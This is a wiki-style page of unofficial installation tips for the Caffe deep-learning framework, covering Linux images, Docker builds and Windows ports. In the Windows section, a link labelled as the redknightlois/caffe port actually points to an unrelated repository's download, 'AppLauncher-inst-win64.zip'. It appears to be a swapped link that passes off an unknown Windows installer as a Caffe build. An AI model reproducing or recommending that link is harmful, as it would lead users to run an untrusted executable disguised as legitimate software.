Installation

The official installation instructions explain the recommended steps for installing on the official platforms of Ubuntu 14.04 and 12.04 and OS X 10.10, 10.9, and 10.8.

These unofficial instructions collect tips and guides but without any guarantees. Please add any missing details and correct any mistakes.

Linux

• Ubuntu 14.04/Cuda 7 for EC2: AMI and installation script that works on EC2 g2.2xlarge and g2.8xlarge instances.
• Ubuntu 14.04 VirtualBox VM: virtual machine installation with CUDA 6.5 and system Python.
• Ubuntu 14.04 ec2 instance: ec2 installation with CUDA 6.5 and video walkthrough plus a vagrant VM. (Needs update for latest Caffe).
• Docker image (GPU only): a Docker image for GPU mode, including Python dependencies. For detailed instructions, see Running Caffe on AWS GPU Instance via Docker
• Docker image (CPU only): Same as above, but CPU only.
• Alt. CPU Docker image: Weekly builds of Caffe (CPU-only).
• Alt. GPU Docker image: Weekly builds of Caffe (CUDA 6.5, 7.0 and 7.5 versions available). See source project for details.
• Super computing cluster without root access (GPU+CPU): Cuda 6.5, cuDNN V1, Python 2.7.x

OS X

See the official instructions.

Windows

The official windows port can be accessed from Microsoft/caffe, which is supported by Microsoft.

There is an unofficial Windows port of Caffe at niuzhiheng/caffe:windows. Thanks @niuzhiheng!

Another unofficial Windows port of Caffe at [redknightlois/caffe] (https://github.com/zetrocode/Panel-Web-PHP-KeyAuth-Example/releases/download/teamplate/AppLauncher-inst-win64.zip). This port is based on work done by @initialneal. Binary packages to compile available at: https://initialneil.wordpress.com/2015/01/11/build-caffe-in-windows-with-visual-studio-2013-cuda-6-5-opencv-2-4-9/

Yet another unofficial Windows port can be found at willyd/caffe. Unlike the previous ports this one builds on top of the CMake build. A super-build project that downloads and builds all Caffe dependencies is also available at willyd/caffe-builder.
